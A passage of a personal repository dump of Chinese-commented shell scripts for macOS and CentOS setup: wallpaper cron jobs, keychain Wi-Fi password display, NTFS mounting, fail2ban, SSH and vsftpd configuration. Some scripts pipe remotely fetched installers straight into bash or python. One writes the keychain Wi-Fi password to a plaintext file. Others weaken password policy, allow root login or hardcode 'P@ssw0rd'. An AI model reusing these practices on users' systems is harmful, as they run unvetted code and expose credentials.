    # * [40 个很有用的 Mac OS X Shell 脚本和终端命令](http://www.51sio2.cn/article/3881429388.html)
    # * [moonapi 月萌软件开发工作室-php Python–遍历一系列日期](https://www.moonapi.com/news/6385.html)
    # * [jb51.net-linux shell中实现循环日期的实例代码](https://www.jb51.net/article/147355.htm)
    
    # 筛选用
    # * [菜鸟站长之家-WinRAR 5.61免费商业正版破解无广告(含注册码)](https://www.cnzzzj.com/5663.html)
    # * [WinRAR简体中文32/64位商业版下载(2023/02/23已更新至WinRAR6.21)](http://www.kaixinit.com/info/soft/1712.html)
    
    ================================================
    FILE: d-shell/mac_corn_diy_wallpaper.sh
    ================================================
    # ------- crontab说明 ----------
    # crontab - 告诉 crontab 命令从标准输入读取数据,而不是从文件读取数据。
    # \ 将命令拆分成多行。注意到反斜杠后面不能有空格或其他字符。
    # crontab -e: 编辑当前用户的cron表
    # crontab -l: 列出当前用户的cron作业;crontab -r: 删除当前用户的cron表 
    # ------- crontab说明 ----------
    
    
    #----- 定时切换壁纸 -------------
    
    # 导出当前定时作业
    # crontab -l > my_desktop_cron
    
    # 加入前提说明
    printf "\n温馨提示 \n"
    printf "\n macOS系统壁纸目录:/System/Library/Desktop Pictures/ "
    printf "\n 自定义的壁纸目录文件不要自行删除,造成脚本执行异常。"
    printf "\n 若曾有添加过定时任务,请用 crontab -l 查看详情,或酌情 crontab -r 清除任务表 \n\n"
    
    # 设置终端读取变量
    read -p "1. 将自定义壁纸拖入到终端: " diy_wallpaper
    printf "\n" 
    read -p "2. 将系统壁纸拖入到终端: " sys_wallpaper
    printf "\n" 
    
    # 保持原样写代码
    cat < my_desktop_cron
    # 周一傍晚六点半,自定义壁纸
    30 18 * * 1 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$diy_wallpaper"'
    
    # 周一至周四,晚上休息时间十二点十分,切换系统壁纸
    10 24 * * 1-4 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$sys_wallpaper"'
    
    # 周五傍晚六点半,自定义壁纸
    30 18 * * 5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$diy_wallpaper"'
    
    # 周日晚上休息时间十一点十分,切换系统壁纸
    10 23 * * 7 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$sys_wallpaper"'
    EOF
    
    # 设置定时任务
    crontab my_desktop_cron
    
    # 移除该临时文件
    rm my_desktop_cron
    
    # 测试打印
    printf "定时壁纸任务已完成。\n"
    echo ""
    
    # 删除自身
    rm -rf $0
    
    #----- 定时切换壁纸 -------------
    
    
    # ------ 其他测试项 -------------
    
    # 每隔三十天换一次壁纸,“x/30” 从x天之后的30天
    # echo "0 0 */30 * * osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \
    # \"~/Pictures/必应壁纸/KlostersSerneus-20230502.png\"'" \
    # | crontab -
    
    # ------ 其他测试项 -------------
    
    
    ================================================
    FILE: d-shell/mac_show_wifi.sh
    ================================================
    # 保持代码样式写文件
    cat <<'EOF' >~/Public/mac_show_wifi.sh
    
    # 详情:
    # https://ss64.com/osx/security.html
    # https://developer.apple.com/documentation/security/1515362-seckeychainsearchcopynext/
    
    # 获取当前Wi-Fi名称
    wifi_ssid=$(networksetup -getairportnetwork en0 | awk '{print $4}')
    
    # 获取当前Wi-Fi密码
    # -D 指定项;-a 接收账户,传递到security;-w明文。
    wifi_password=$(
      security find-generic-password \
      -D "AirPort network password" \
      -a "$wifi_ssid" \
      -w
    )
    
    # 打印Wi-Fi与Wi-Fi密码
    echo "Wi-Fi:"$wifi_ssid;echo "Wi-Fi密码:"$wifi_password
    
    # 检查 wifi.txt 不存在则创建该文件
    if [ ! -e wifi.txt ];then
     touch wifi.txt
    fi
    
    # 比对文本信息是否匹配Wi-Fi名称、密码,如果二者不一致则导入
    if [[ "$(cat wifi.txt)" == *"$wifi_ssid"* && "$(cat wifi.txt)" == *"$wifi_password"* ]];then
      > /dev/null 2>&1
    else
     printf "\nWi-Fi:$wifi_ssid\nWi-Fi密码:$wifi_password\n" >> wifi.txt
    fi
    
    brew install qrencode > /dev/null 2>&1
    # 只屏蔽报错不屏蔽输出,2> /dev/null
    qrencode -l M -t UTF8 -s 4 -m 2 "WIFI:${wifi_ssid} Wi-Fi密码:${wifi_password}" 2> /dev/null
    
    EOF
    
    # 创建软链接文件夹
    sudo -S mkdir -p /usr/local/bin
    # 保险起见先删除再说
    sudo rm -rf /usr/local/bin/mac_show_wifi.shortcut
    # 没有环境变量,进入目录创建软链接。
    cd /usr/local/bin
    sudo ln -s \
      ~/Public/mac_show_wifi.sh mac_show_wifi.shortcut &&
      echo "alias Wi-Fi密码='bash mac_show_wifi.shortcut'" >>~/.zshrc
    
    echo "请重开终端,以后在终端输入:Wi-Fi密码,即可。查看Wi-Fi密码本,可使用:cat wifi.txt"
    
    
    ================================================
    FILE: d-shell/mac_systeminfo.sh
    ================================================
    # 保持代码样式写文件
    cat <<'EOF' >~/Public/systeminfo.sh
    
    # Mac颜色调试代码
    BLACK=$(tput setaf 0)
    RED=$(tput setaf 1)
    GREEN=$(tput setaf 2)
    YELLOW=$(tput setaf 3)
    BLUE=$(tput setaf 4)
    MAGENTA=$(tput setaf 5)
    CYAN=$(tput setaf 6)
    WHITE=$(tput setaf 7)
    RESET=$(tput sgr0)
    
    mindyou(){
        printf "\n"
        echo "${CYAN}请选择要获取的信息类型:${RESET}"
        printf "\n"
        echo "[1]. 获取关于计算机硬件的信息,如处理器、内存、硬盘、设备锁等。"
        echo "[2]. 获取有关网络连接和配置的信息,如网络接口、IP 地址、MAC 地址等。"
        echo "[3]. 获取有关操作系统版本及系统保护状态信息等,如操作系统版本、SIP状态等。"
        echo "[4]. 获取关于图形显示器和图形卡的信息,如显示器分辨率、图形卡型号等。"
        echo "[5]. 获取关于存储设备(磁盘驱动器)的信息,如驱动器容量、文件系统等。"
        echo "[6]. 获取关于连接到计算机上的 USB 设备的信息,如 USB 设备名称、厂商信息等。"
        echo "[7]. 获取关于电源(电池)状态和信息的信息,如电池剩余容量、充电状态等。"
        echo "[8]. 查看该说明说文本,或按[0]退出。"
    }
    
    clear
    mindyou
    echo ""
    
    while true; do
        read -n 1 -s option
    
        clear
    
        case $option in
            1)
                echo "${YELLOW}开始获取计算机硬件信息... ${RESET}"
                system_profiler SPHardwareDataType
                echo "${GREEN}计算机硬件信息获取完成 ✅ ${RESET}"
                ;;
            2)
                echo "${YELLOW}开始获取计算机网络信息... ${RESET}"
                system_profiler SPNetworkDataType
                echo "${GREEN}网络连接和配置信息获取完成 ✅ ${RESET}"
                ;;
            3)
                echo "${YELLOW}开始获取有关操作系统版本及系统保护状态信息... ${RESET}"
                system_profiler SPSoftwareDataType
                echo "${GREEN}获取有关操作系统版本及系统保护状态信息已完成 ✅ ${RESET}"
                ;;
            4)
                echo "${YELLOW}开始获取图形显示器和图形卡信息... ${RESET}"
                system_profiler SPDisplaysDataType
                echo "${GREEN}图形显示器和图形卡信息获取完成 ✅ ${RESET}"
                ;;
            5)
                echo "${YELLOW}开始获取存储设备信息... ${RESET}"
                system_profiler SPStorageDataType
                echo "${GREEN}存储设备信息获取完成 ✅ ${RESET}"
                ;;
            6)
                echo "${YELLOW}开始获取USB设备信息... ${RESET}"
                system_profiler SPUSBDataType
                echo "${GREEN}USB设备信息获取完成 ✅ ${RESET}"
                ;;
            7)
                echo "${YELLOW}开始获取电源状态和信息... ${RESET}"
                system_profiler SPPowerDataType
                echo "${GREEN}电源状态和信息获取完成 ✅ ${RESET}"
                ;;
            8)
                mindyou
                ;;
            0)
                break
                ;;
            *)
                echo "${RED}无效的选项,请重新按对应数字键选择,按[8]查看说明,或按[0]退出。${RESET}"
                ;;
        esac
    
        echo ""
    done
    
    EOF
    
    # 创建软链接文件夹
    sudo -S mkdir -p /usr/local/bin
    # 保险起见先删除再说
    sudo rm -rf /usr/local/bin/systeminfo.shortcut
    # 没有环境变量,进入目录创建软链接。
    # cd /usr/local/bin
    
    sudo ln -s  \
        ~/Public/systeminfo.sh /usr/local/bin/systeminfo.shortcut &&
        echo "alias systeminfo='bash systeminfo.shortcut'" >> ~/.zshrc
    
    echo "现在可直接在终端使用 systeminfo ,调用“系统常用信息脚本”了。"
    source ~/.zshrc # 重载.zshrc文件
    exec zsh # 强制重新加载Zsh配置文件,替换当前终端会话
    
    
    
    
    
    ================================================
    FILE: d-shell/no_oh_my_zsh.sh
    ================================================
    echo -e "懒得搞什么美化,字体15大小左右,就差不多了,颜色设置成pro,“brew install fish”就行了。\n"
    
    echo -e "一分钟考虑时间,倒计时:\c"
    
    # 来自 [csdn-shell脚本倒计时](https://blog.csdn.net/Mrheiiow/article/details/121248427)
    # 数字残留需要删除字符了。
    t=60
    while test $t -gt 0
    do
        if [ $t -ge 10 ];then 
           echo -e "${t}\b\b\c"
        elif [ $t -eq 9 ];then
           echo -e "\b\c"
           echo -e "\b${t}\b\c"
        else
           echo -e "${t}\b\c"
        fi
        sleep 1
        t=$((t-1))
    done
    
    
    sleep 1
    
    echo "将源文件备份为 ➡️ ./zshrc.bak"
    cp -rfp ~/.zshrc ~/.zshrc.bak
    
    #  "根据报错,安装需要依赖项"
    brew install wget >/dev/null 2>&1
    brew install python >/dev/null 2>&1
    python3 -c "$(wget -q -O - https://raw.githubusercontent.com/wakatime/vim-wakatime/master/scripts/install_cli.py)"
    
    # 懒得判断,直接抛异常
    rm -rf ~/zshrc >/dev/null 2>&1
    
    git clone https://github.com/Innei/zshrc.git
    
    # 临时开代理测试
    # export ALL_PROXY=socks5://127.0.0.1:7890
    
    # 清除主题,/.local/bin 自启目录的antigen.zsh也删掉
    # rm -rf ~/.config/iterm2 ~/.antigen ~/.local/bin/antigen.zsh /tmp/antigen.zsh
    
    
    # 清除自启检查主题命令
    
    
    cp -rfp ~/zshrc/.zshrc ~/.zshrc 
    echo "测试效果"
    
    # 参考
    # [cnblogs-快速免费的公用 CDN —— jsDelivr ](https://www.cnblogs.com/lfri/p/12212878.html)
    # [cnblogs-Linux实现脚本开机自启动](https://www.cnblogs.com/xingboy/p/15305027.html)
    
    ================================================
    FILE: d-shell/ntfs_ninja.sh
    ================================================
    
        if [ ! -x $(command -v swift) ]; then
            xcode-select --install
        fi
    
        if [ ! -x $(command -v brew) ]; then
            /bin/bash -c "$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)"
        fi
    
        if [ ! -e "/System/Volumes/Data/$(which ntfs-3g)" ]; then
            brew tap gromgit/homebrew-fuse && brew install --cask macfuse && brew install ntfs-3g-mac
        fi
    
        version=$(sw_vers -productVersion | cut -d '.' -f 1)
    
        if [ $version -ge 14 ]; then
            # macOS14及以上执行的代码
            # https://github.com/hoochanlon/Free-NTFS-for-Mac/issues/20
    
            # 输出结果:
            # /dev/disk4s1 on /Volumes/TOSHIBA (ntfs, local, nodev, nosuid, read-only, noowners, noatime)
            # 特殊:macfuse已成功加载的情况下
            # /dev/disk4s1 on /Volumes/TOSHIBA (macfuse, local, synchronous)
            line=$(mount | grep ntfs)
    
            # 提取disk和volume名称
            disk=$(echo "$line" | awk '{split($1, a, "/"); print a[3]}')
            volume=$(echo "$line" | awk '{split($3, a, "/"); print a[3]}')
            # echo  $line
            # echo "Disk: $disk"
            # echo "Volume: $volume"
            sudo umount /dev/$disk
            sudo -S ntfs-3g /dev/$disk /Volumes/$volume -olocal -oallow_other -o auto_xattr -ovolname=$volume
            echo "新设备: ${volume},已可读写!"
            echo '---------'
            echo " "
        else
            # macOS13及以下执行的代码
            # echo $i (macOS14输出结果:/dev/disk6s1)
            # $1表示传递给脚本或函数的第一个参数,即U盘挂载信息。
            for i in $1; do
                onceCutVal=${i%/*}
                twiceCutVal=${onceCutVal#*//}
                thriceCutVal=${i##*/}
                # echo "新设备: "${thriceCutVal}
                sudo umount $i
                sudo -S /System/Volumes/Data/$(which ntfs-3g) /dev/${twiceCutVal} "/Volumes/${thriceCutVal}" -olocal -oallow_other -oauto_xattr -ovolname="${thriceCutVal}"
                echo "新设备: ${thriceCutVal},已可读写!"
                echo '---------'
                echo " "
            done
        fi
    }
    
    echo " "
    echo " "
    echo "等待NTFS新设备接入"
    echo " "
    echo '---------'
    echo " "
    
    while true; do
        sleep 5
        newDev=$(mount | grep ntfs | awk -F ' ' '{print $1}')
        if [ ! -n "$newDev" ]; then
            a=1 # 无意义,过语法检测
        else
            #   echo "NTFS新设备接入成功"
            config_u_drive $newDev
        fi
    
    done
    
    
    ================================================
    FILE: d-shell/simple_ban.sh
    ================================================
    yum install epel-release -y && yum update -y
    yum install fail2ban-firewalld fail2ban-systemd -y 
    yum -y install git python3
    
    # 备份原始文件
    mkdir -p /etc/bak/fail2ban_conf/ && cp -p /etc/fail2ban/jail.conf /etc/bak/fail2ban_conf/
    # 获取IP
    # get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
    get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')
    
    # “ssh-iptables”为模块配置名称,命令用法 fail2ban-client status + 模块名
    ## 如:fail2ban-client status  ssh-iptables
    
    # ignoreip = 127.0.0.1 用于指定哪些地址(IP/域名等)可以忽路fai12ban防御,空格分隔
    # maxretry = 3  检测扫描行为的次数,和findtime结合使用,30秒内失败3次即封禁
    # findtime = 10 在该时间段内超过尝试次数会被ban掉;bantime = -1  屏蔽时间,默认是秒,-1为永久封禁
    # action - 指定被命中 IP 主机地址禁止其访问的行为
    # logpath  = /var/log/secure 系统行为记录日志,看发行版系统。
    
    echo -e "安装及配置fail2ban: 除自己IP($get_my_ip)不限外;其他IP访问,3次密码错误,直接封永久。\n"
    echo -e \
    "
    [DEFAULT]
    ignoreip = 127.0.0.1 $get_my_ip
    maxretry = 3 
    findtime  = 10 
    bantime = -1
    
    [ssh-iptables] 
    enabled = true
    filter = sshd
    action = iptables[name=SSH, port=22, protocol=tcp] 
    logpath  = /var/log/secure
    
    " > /etc/fail2ban/jail.local
    
    
    echo -e "加入守护进程,已设定自启,fail2ban现已启动 \n"
    systemctl enable fail2ban.service && systemctl start fail2ban.service
    echo -e "查看ban IP后续可使用: fail2ban-client status ssh-iptables"
    echo -e "以及解禁ban IP: fail2ban-client set ssh-iptables unbanip xxx.xxx.xxx.xxx"
    
    rm -rf $0
    # 报错调整参考:
    # [stackoverflow-cant-enable-fail2ban-jail-sshd](https://stackoverflow.com/questions/42320994/cant-enable-fail2ban-jail-sshd)
    # ["the jail "ssh_iptables' does not exist" and "View fail2ban.log for errors"](https://github.com/fail2ban/fail2ban/issues/3463)
    # [fail2ban/issues/3462](https://github.com/fail2ban/fail2ban/issues/3462)
    # [learnku-如何使用 fail2ban 来防范 SSH 暴力破解?](https://learnku.com/server/t/36233)
    # [豆瓣-CentOS7 - 安装配置Fail2ban教程](https://www.douban.com/note/626688457/?_i=6892452FeAKN2V)
    # [csdn-centos8安装Nginx时报错 nginx.service: Unit cannot be reloaded becau lines 1-5](https://blog.csdn.net/m0_47748508/article/details/119203994)
    # [How to Install Fail2ban on Rocky Linux and AlmaLinux](https://www.tecmint.com/install-fail2ban-rocky-linux-almalinux/)
    
    
    ================================================
    FILE: d-shell/simple_ssh.sh
    ================================================
    echo -e "置顶:执行脚本需要使用 sudo bash 指令,配置SSH服务端登录、口令验证、长会话响应心跳连接、IP范围限自家用。\n"
    
    
    echo -e "----------配置服务端:Linux SSH,启动---------------\n"
    
    # 备份ssh服务端、客户端配置文件到ssh.bak目录
    mkdir -p /etc/bak/ssh && cp -p /etc/ssh/{ssh_config,sshd_config} /etc/bak/ssh
    
    # netstat -t查询连接情况,awk抓取第五列信息,过滤掉端口含字母的。获得正确的IP池。
    # 再从IP池中cut掉":"端口,取第二行数据提纯,获得了连接服务器上的IP。
    # get_my_ip=$(netstat -t|awk '{print $5}'|grep -v -E '[a-zA-Z]'|cut -d":" -f1|sed -n '1p')
    # get_my_ip=$(netstat -t|awk '{print $5}'|grep -v -E '[a-zA-Z]|^10|^169|^172|^192'|cut -d":" -f1|sed -n '1p')
    
    # 筛选方式优化,选有:22就行了。
    # get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
    # get_my_ip_port=$(netstat -n|grep -i :22|awk '{print $5}'|sed -n '1p')
    get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')
    
    # 编辑、修改配置权限、重启服务生效
    echo -e \
    "
    PubkeyAuthentication yes # 是否允许Public Key
    PermitRootLogin yes # 是否允许Root登录
    PasswordAuthentication no # 设置是否使用口令验证
    ClientAliveInterval 30 # 客户端每隔多少秒向服务发送一个心跳数据,类似web响应。
    ClientAliveCountMax 86400  # 客户端多少秒没有相应,服务器自动断掉连接 
    AllowUsers *@$get_my_ip *@127.0.0.1 # 刚登录上就立马切代理容易中断SSH连接。
    " \
    >>/etc/ssh/sshd_config
    
    # 该授权的授权,>/dev/null 2>&1 屏蔽报错,有不明白的查找注释的参考资料。
    chmod 700 $HOME && chmod 700 ~/.ssh 
    touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys >/dev/null 2>&1
    systemctl restart sshd.service
    
    
    
    #---------------账户密码简化要求-----------------------
    
    # 备份文件
    mkdir -p /etc/bak/pam.d/ && cp -p /etc/pam.d/system-auth  /etc/bak/pam.d/
    # 可行,但会有Linux系统的无效至少8位字符;pam.d/system-auth优先级远高于login.defs
    # 一个是配置系统模块的,另一个只是辅助性质的账号登录策略,两者相差很大
    
    echo -e "
    # 新增自定义密码策略配置 密码验证三次 不限特殊字符、大小写、最低3位长度
    password\trequisite\tpam_pwquality.so\ttry_first_pass local_users_only retry=3
    password\trequisite\tpam_pwquality.so\tauthtok_type= minlen=4 
    password\trequisite\tpam_pwquality.so dcredit=0 ocredit=0 lcredit=0 ucredit=0
    " >>/etc/pam.d/system-auth
    
    echo -e "\nSSH服务端密钥、登录策略、心跳响应,以及限制IP范围"
    echo -e "简化用户密码规则:任意大小写/符号/纯数字,并可设4位长度"
    echo -e "SSH服务端(Linux)所有设置均已完成。\n"
    echo -e "关于本次修改的服务端配置:\n"
    echo -e "SSH各项配置:vi /etc/ssh/sshd_config"
    echo -e "密码策略各项配置:vi /etc/pam.d/system-auth \n"
    
    echo -e "---开始配置Windows/Mac客户端。进阶工具:remote ssh for vscode。---------\n"
    echo -e '第一步,生成Windows/Mac主机上的SSH共钥:ssh-keygen -t ed25519 -C "your@email.com" \n'
    echo -e "第二步,复制公钥到远程: ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server \n"
    echo -e "至此客户端配置完成。\n"
    echo -e "------其他答疑------\n"
    echo -e "如遇“Host key verification failed”,复制以下指令可解决:\n"
    echo -e "rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old\n"
    echo -e "免密登录成功后,sshd_config中可注释掉AllowUsers配置的IP白名单了,因为仅限你一台主机认证许可。"
    echo -e "你也可以安装fail2ban,或修改本代码,自定义IP活动范围,各省地区及运营商网段参考:http://ips.chacuo.net/view/s_GD \n"
    
    # 删除自身
    rm -rf $0
    
    # echo -e '本机将文件上传到Linux:scp ~/Desktop/simple_ssh.sh root@101.xxx.xxx.xxx:${HOMEPATH} \n'
    # 限制IP活动范围的五条说明
    
    # 1. 虽然公网IP是临时的,但一个在小范围的内,通常变动不大。
    # 2. 因为常常变动的话,一是要有足够的IP资源,二是运营商不断调配IP,也会极大增加维护人工时间与物力成本。
    # 3. 更何况现在的家庭网络路由器都是公网IP一个IP共享给多个主机、移动终端上网,这也是少有变动。
    # 4. ssh配置限IP访问策略,比防火墙方便。防火墙需要开启守护进程与启动,并且需要配置条目规则。
    # 5. centOS8也不支持hosts.deny了,所以这里就以SSH的限制做标准啦。
    
    # 试验结果:
    
    ## ssh
    
    # * 挪动ssh文件到其他目录会出现验证失败。
    # * 变更ssh文件,最好将sshd服务重启下,不然有影响到输入密码
    # * PasswordAuthentication no 还会输密码,除权限外,就是自定义名称,客户端没配置ssh config的原因。
    # * 发现了ssh公钥可接入多台主机,没必要做遍历、找出最新文件,文件名附上时间来创建ssh key了
    # 系统对ssh验证文件权限的强制要求。操作快了,客户端没发公钥,就没有authorized_keys。
    # IP对了,SSH密钥不对,其实系统还是会要你输密码。 
    # Authenticator provider $SSH_SK_PROVIDER did not resolve 检查下你的客户端ssh config文件
    
    
    ## 其他
    
    # root执行sudo时不需要输入密码(sudoers文件中有配置root ALL=(ALL) ALL这样一条规则)
    # `su -` 需要写入进 /etc/sudoers 才能使用自己密码提权限。
    # 自己成为root的方式实现起来比较轻松,或加入wheel组。过于繁琐
    
    ## * </dev/null 2>&1到底是什么](https://www.jb51.net/article/106373.htm)
    # * [csdn-ssh_config和sshd_config配置文件](https://blog.csdn.net/mynumber1/article/details/123699660)
    # * [cnblogs-cp如何将同一个路径下的多个文件复制到某个目录下](https://www.cnblogs.com/ztt-14789/p/16767861.html)
    # * [try8-CentOS8网络配置教程(centos8,网卡重置命令变动)](https://try8.cn/article/10010)
    # * [gitee - /etc/hosts.deny不生效(版本移除,以及默认不支持问题)](https://gitee.com/openeuler/kernel/issues/I29Z76)
    # * [csdn-Linux处理海量数据之cut、awk、sed命令](https://blog.csdn.net/vincent_wen0766/article/details/108256276)
    # * [csdn-sed -i 命令详解](https://blog.csdn.net/qq_42767455/article/details/104180726)
    # * [csdn-如何使echo命令结果显示单引号或者双引号](https://blog.csdn.net/qq_43551263/article/details/111343584)
    # * [csdn-【Linux】查看服务器当前 SSH 连接 IP 地址](https://blog.csdn.net/qq_42951560/article/details/125030247)
    
    # 保留资料
    
    # * [csdn-Linux系统中将普通用户权限提升至root权限](https://blog.csdn.net/weixin_45178128/article/details/103155720)
    # * [csdn-Linux新增ssh登录用户并加入sudo组](https://blog.csdn.net/xiunai78/article/details/84578529)
    # * [csdn-linux中禁用Root帐户的4种方法](https://blog.csdn.net/qq_40907977/article/details/120698811)
    # * [脚本之家-shell脚本for循环实现文件和目录遍历](https://www.jb51.net/article/230123.htm)
    # * [China unix-shell条件判断if中的-a到-z的意思](http://blog.chinaunix.net/uid-31012107-id-5823694.html)
    # * [csdn-通过修改配置屏蔽SSH的弱加密算法](https://blog.csdn.net/miaodichiyou/article/details/120504344)
    
    
    ================================================
    FILE: d-shell/simple_vsftpd.sh
    ================================================
    # ********** 核心的五篇文档,csdn博主整理思绪排版较为清晰易读。************
    ## [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html)
    ## [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803)
    ## [csdn-腾讯云Linux 轻量应用服务器如何搭建 FTP 服务?](https://blog.csdn.net/zdc1228/article/details/128428207)
    ## [csdn-腾讯云服务器FTP连接不上](https://blog.csdn.net/qq_40787608/article/details/123411675)
    ## [腾讯云-Linux 轻量应用服务器搭建 FTP 服务](https://cloud.tencent.com/document/product/1207/47638)
    ## [zhihu-vsftp新建用户无法登录?](https://www.zhihu.com/question/268255821/answer/622810196?utm_id=0)
    ## [csdn-nc 探测端口_nc命令用法举例](https://blog.csdn.net/weixin_42542420/article/details/112486792)
    ##
    ## 往后可以用这款了,配置web云盘分享:https://github.com/zfile-dev/zfile
    ## 共享文件格式NFS、SMB、FTP、WebDAV 各有何优势:https://blog.csdn.net/hdxx2022/article/details/127490158
    #*******************************************************************
    
    #********* 腾讯云文档提醒解读***************************
    #
    # FTP 可通过主动模式和被动模式与客户端机器进行连接并传输数据。
    # 由于大多数客户端机器的防火墙设置及无法获取真实 IP 等原因,建议您选择被动模式搭建 FTP 服务。
    # 如下修改以设置被动模式为例,您如需选择主动模式,请前往 设置 FTP 主动模式。
    #
    # 主动模式和被动模式的不同简单概述为: 
    # 主动模式传送数据时是“服务器”连接到“客户端”的端口(客户端开启数据端口);
    # 被动模式传送数据是“客户端”连接到“服务器”的端口(服务端开启数据端口)。
    # [csdn-FTP的主动模式和被动模式](https://blog.csdn.net/weixin_42039228/article/details/124338444)
    #****************************************************
    
    
    #-----------下载安装,专属用户创建与限定目录------------
    
    # 添加用户,普通用户是没有权限登录SSH的,需要额外授权,不要紧。
    # 完善起见,已 usermod -s /sbin/nologin ftpuser 
    
    yum install -y vsftpd
    yum install lsof -y
    sudo systemctl enable vsftpd
    # 启动成功,默认开启匿名访问,但无权限修改或上传。
    sudo systemctl start vsftpd
    # 新建组并将用户添加到ftpusers组。
    sudo groupadd ftpusers && sudo useradd -g ftpusers ftpuser
    # 限制登录终端
    sudo usermod -s /sbin/nologin ftpuser 
    echo "P@ssw0rd"|sudo passwd --stdin ftpuser # 密码规则测试过关罢了
    # 创建FTP共享的特定目录
    sudo sudo mkdir /var/ftp/share
    echo "hello world " > /var/ftp/share/test.txt
    # 授权 -R 递归;属主名:属组名 
    sudo chown -R ftpuser:ftpusers /var/ftp/share
    
    #----------备份vsftpd.conf文件,与获取本机公网IP----------
    
    # 这里配置修改以被动模式为例。
    # 修改:查找与替换。先sed不加参数匹配试试水,配置完加个中文注释,方便理解。
    # 源目录文件备份 vsftpd.conf.bak
    cp -rp /etc/vsftpd/vsftpd.conf{,.bak}
    
    # 获取Linux的本机公网IP 服务器
    # 详情:https://blog.csdn.net/doris_9800/article/details/104620510
    linux_public_ip=$(curl -s http://ip.tool.chinaz.com/ |grep 'class="fz24"' | awk -F '>|<' '{print$3}')
    
    # 获取Windows或Mac电脑的IP 客户端
    get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')
    
    # 这获取IP的方式,有被混淆的风险,毕竟有ssh插队的风险,注释掉
    # get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
    
    # cut
    # -d 表示需要需要使用自定义切割符
    # -f2 表示对切割后的几块内容选择第2部分输出
    # -f1 表示对切割后的几块内容选择第1部分输出
    
    #------------------------------------------------------
    
    
    #************************说明性文档***************************************
    #
    # local_enable=YES         #支持本地用户登录
    # chroot_local_user=YES    #全部用户被限制在主目录
    # chroot_list_enable=YES   #启用例外用户名单
    # chroot_list_file=/etc/vsftpd/chroot_list  #指定用户列表文件,该列表中的用户不被锁定在主目录
    #
    #*********************************************************************
    
    
    #-----------vsftpd.conf 配置用户基本策略:禁匿名、将访问限制在规定目录、ipv4 ----------
    
    # 在12行全局换成anonymous_enable=NO
    sed -i '12canonymous_enable=NO' /etc/vsftpd/vsftpd.conf
    
    
    ## 100、101、103行去掉注释,配置chroot如上各项。
    sed -i '100,101s/^#//' /etc/vsftpd/vsftpd.conf
    sed -i '103s/^#//' /etc/vsftpd/vsftpd.conf
    
    # 将Listen=NO换成Listen=YES
    sed -i 's/listen=NO/listen=YES/' /etc/vsftpd/vsftpd.conf
    
    # 在123行首追加注释,即关闭IPv6 sockets
    sed -i '123s/^/# /' /etc/vsftpd/vsftpd.conf
    
    # 在52行首取消注释,打开日志记录
    sed -i '52s/^#//' /etc/vsftpd/vsftpd.conf
    
    # 开启被动模式 pasv_enable=YES
    # pasv连接模式时的最小端口、最大连接端口
    # 这里只要把最小端口号和最大端口号配置成一样的,就成了开放固定端口了
    # allow_writeable_chroot=YES 在限制目录下可写入
    echo -e "
    local_root=/var/ftp/share
    allow_writeable_chroot=YES
    pasv_enable=YES
    pasv_address=$linux_public_ip
    pasv_min_port=21000
    pasv_max_port=21000
    " >> /etc/vsftpd/vsftpd.conf
    
    # 创建文件,否则会即使有用户也登录不上,不需要其他权限,ftpuser不访问这个文件
    # 推测程序编写的逻辑是靠这一“小文件”来对策略进行决策的,配置开启了这功能,然后又没有文件自然乱套了。(编码人员没想那么多吧,可能不想管...)
    touch /etc/vsftpd/chroot_list
    ## chroot_list_file=/etc/vsftpd/chroot_list 打开限制名单文件配置
    
    
    # 注释第4行 auth required pam_shells.so 模块认证。
    sudo sed -i '4s/^/#/' /etc/pam.d/vsftpd
    
    #------pam_access.so是模块,会调用到配置文件/etc/security/access.conf------
    # [csdn-实战vsftp针对用户和IP访问控制](https://blog.csdn.net/weixin_58400622/article/details/126438957)
    
    # /etc/pam.d/vsftpd (模块配置文件)
    ## 备份/etc/pam.d/vsftpd
    cp -rp /etc/pam.d/vsftpd{,.bak}
    # 在第7行前插入模块
    sudo sed -i '7i\account    required     pam_access.so' /etc/pam.d/vsftpd
    
    # access.conf
    ## 备份access.conf文件
    cp -rp /etc/security/access.conf{,.bak}
    ## 将最后一个规则定义为全部拒绝,表示只有自己允许的例外条件
    ## 网上的配置可能存在过时,也就不需要加‘@’访问了,智能识别组名,等于是
    echo  -e "
    +:ftpusers:$get_my_ip
    -:ALL:ALL
    
    " >> /etc/security/access.conf
    
    #---------------------------------------------------
    
    
    # 重启ftp服务。
    sudo systemctl restart vsftpd
    
    echo -e "***调试专用代码***"
    echo 'scp /Users/chanlonhoo/Desktop/1.sh root@101.xxx.xxx.xxx:${HOMEPATH}'
    echo -e "rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old"
    echo -e "查看所有用户信息:cat /etc/passwd"
    echo -e "新建用户,添加FTP共享组:useradd -G ftpusers <用户名称>"
    echo -e "已有用户,添加FTP共享组:usermod -a -G ftpusers <用户名称>"
    echo -e "***************** \n"
    
    echo -e "\n ****************FTP基本说明与概况******************** \n"
    echo -e "FTP专属用户已创建完成:ftpuser;密码:P@ssw0rd"
    echo -e "FTP共享目录位置:cat /var/ftp/share"
    echo -e "重要‼️ 注意在阿里云安全组,或腾讯云服务器防火墙,放行21000端口。"
    
    echo -e "\n至此,FTP搭建已完成,下面是FTP相关配置简览"
    echo -e "查看FTP历史访问记录:/var/log/xferlog"
    echo -e "核心配置文件:vi /etc/vsftpd/vsftpd.conf"
